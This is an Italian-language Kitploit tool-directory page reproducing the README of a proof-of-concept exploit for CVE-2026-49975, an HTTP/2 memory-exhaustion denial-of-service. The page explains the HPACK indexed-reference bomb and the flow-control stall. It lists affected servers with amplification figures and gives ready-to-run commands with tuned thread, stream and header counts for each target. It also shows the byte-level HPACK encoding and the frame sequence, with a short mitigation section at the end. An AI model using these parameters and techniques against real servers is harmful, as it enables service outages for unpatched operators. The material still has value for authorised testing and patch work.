Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-49975-POC — Bomba PoC HTTP/2 — CVE-2026-49975 (bomba a riferimento indicizzato HPACK + stallo del controllo di flusso) | Kitploit
Strumenti/GitHubGitHub/mrx-arafat/cve-2026-49975-poc
Analisi delle VulnerabilitàExploitSicurezza WebSicurezza di RetePenetration Testing
GitHubmrx-arafat/cve-2026-49975-poc

CVE-2026-49975-POC

Bomba PoC HTTP/2 — CVE-2026-49975 (bomba a riferimento indicizzato HPACK + stallo del controllo di flusso)

Vedi Repository
29823 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-49975 — PoC della Bomba HTTP/2

CVE Severity Python

Exploit proof-of-concept per CVE-2026-49975, una vulnerabilità di denial-of-service remota nelle implementazioni del server HTTP/2. Scoperto da Quang Luong (Calif Security Research), divulgato il 2 giugno 2026.

Solo per test di sicurezza autorizzati. Non utilizzare contro infrastrutture che non possiedi o per le quali non hai autorizzazione scritta.


Come Funziona

L'attacco incatena due meccanismi del protocollo HTTP/2:

1. Bomba di Riferimento Indicizzato HPACK

HPACK (RFC 7541) consente ai mittenti di fare riferimento a intestazioni già viste tramite indice — di solito un byte. L'exploit inserisce un'intestazione quasi vuota nella tabella dinamica una volta, poi la riferisce migliaia di volte. Ogni riferimento di 1 byte sul wire costringe il server ad allocare circa 70 byte di contabilità interna per ogni voce. Non sono coinvolti valori di grandi dimensioni, quindi i limiti di "dimensione massima dell'intestazione decodificata" non scattano mai.

2. Stallo della Finestra di Controllo del Flusso HTTP/2

Annunciando una finestra di ricezione di zero byte, l'attaccante impedisce al server di inviare la risposta o di liberare qualsiasi memoria. Frame periodici di 1 byte reimpostano il timeout di invio del server, mantenendo le allocazioni bloccate per tutta la durata della connessione.

WINDOW_UPDATE

Risultato: ~16 KB inviati per stream → ~1,15 MB di RAM del server allocati e mantenuti per stream.


Server Colpiti

ServerAmplificazioneImpatto DemoStato
Envoy 1.37.2~5.700:132 GB in ~10sNessuna patch al momento della divulgazione
Apache httpd 2.4.67~4.000:132 GB in ~18sCorretto in mod_http2 v2.0.41
nginx < 1.29.8~70:132 GB in ~45sCorretto in nginx 1.29.8
Microsoft IIS (WS 2025)~68:164 GB in ~45sNessuna patch al momento della divulgazione
Cloudflare Pingora~68:1—Nessuna patch al momento della divulgazione

Utilizzo

Nessuna dipendenza — solo stdlib.

root@kitploit:~
# Test di base (connessione singola)
python3 exploit-test.py target.com 443

# Bomba di contabilità specifica per nginx (consigliata per target nginx)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374

# Tecnica cookie-crumb per Apache/Envoy
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000

# HTTP/2 in chiaro (raro — la maggior parte dei server richiede TLS per h2)
python3 exploit-test.py target.com 80 --no-ssl

Argomenti

FlagDefaultDescrizione
target—Nome host o IP
port443Porta TCP
--threads1Connessioni parallele (ognuna si riconnette alla chiusura)
--streams10Stream HTTP/2 per connessione
--headers5000Riferimenti indicizzati HPACK per stream
--modenginxnginx (contabilità, 70:1) o classic (valore grande, 4000:1)
--no-ssloffDisabilita TLS (h2c)

Stima della Pressione RAM

root@kitploit:~
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²

# esempio nginx: 50 × 30 × 16374 × 70 / 1024² = ~1.647 MB

Impostazioni Ottimali per Target

TargetModalità--headersNote
nginx < 1.29.8nginx16374Rimane entro il default http2_max_header_size 16k
Apache httpdclassic5000Tecnica cookie-crumb
Envoyclassic32000Alta amplificazione

Verifica se un Target è Vulnerabile

root@kitploit:~
# Conferma il supporto HTTP/2 e la versione del server
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"

# Vulnerabile se:
# - ALPN: server accepted h2   (HTTP/2 abilitato)
# - server: nginx/X.Y.Z        (dove X.Y.Z < 1.29.8)

Mitigazioni

nginx — aggiornare a 1.29.8+ e aggiungere:

root@kitploit:~
http2 max_headers 1000;

Oppure disabilitare completamente HTTP/2:

root@kitploit:~
# Rimuovere "http2" dalla direttiva listen
listen 443 ssl;

Apache httpd — aggiornare mod_http2 alla v2.0.41+. In attesa: Protocols http/1.1

IIS / Envoy / Pingora — nessuna patch disponibile al momento della scrittura. Disabilitare HTTP/2 o mettere davanti un proxy corretto.

Generale (tutti i server):

root@kitploit:~
# Limitare la memoria del worker per limitare il raggio d'esplosione
ulimit -v 2097152   # 2 GB per processo
# Docker: --memory="2g" --memory-swap="2g"

Dettagli Tecnici

Codifica HPACK

root@kitploit:~
Seme tabella dinamica (indicizzazione incrementale, aggiunge all'indice 62):
  0x40 | name_len | name | value_len | value
  = 0x40 0x06 "x-bomb" 0x00

Riferimento indicizzato alla voce 62 (1 byte ciascuno):
  0x80 | 62 = 0xbe

Payload sul wire per stream = 9 byte (seme) + N byte (N riferimenti)
Allocazione del server per rif. ≈ sizeof(ngx_table_elt_t) ≈ 70 byte

Sequenza Frame HTTP/2

root@kitploit:~
Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n     (prefazione)
  SETTINGS [INITIAL_WINDOW_SIZE=0]      (impostazione stallo)
  SETTINGS ACK                          (dopo aver letto i SETTINGS del server)
  HEADERS [stream 1]  ← carico bomba   (pseudo-intestazioni + bomba HPACK)
  HEADERS [stream 3]  ← carico bomba
  ...
  WINDOW_UPDATE(1) per stream / 1s      (stallo keep-alive)

File

FileDescrizione
exploit-test.pyPoC principale — multi-stream, riconnessione continua, modalità nginx + classica
SECURITY-REPORT-MIST.mdRapporto di valutazione autorizzato per mist.ac.bd
LICENSEMIT

Riferimenti

  • CVE-2026-49975
  • RFC 7541 §7.3 — Consumo di Memoria HPACK
  • RFC 9113 §8.2.3 — Splitting dell'intestazione Cookie
  • CVE-2016-6581 — Bomba HPACK Originale (Cory Benfield, 2016)
  • CVE-2025-53020 — Apache HPACK 4000:1 (Gal Bar Nahum, 2025)
Scarica lo strumento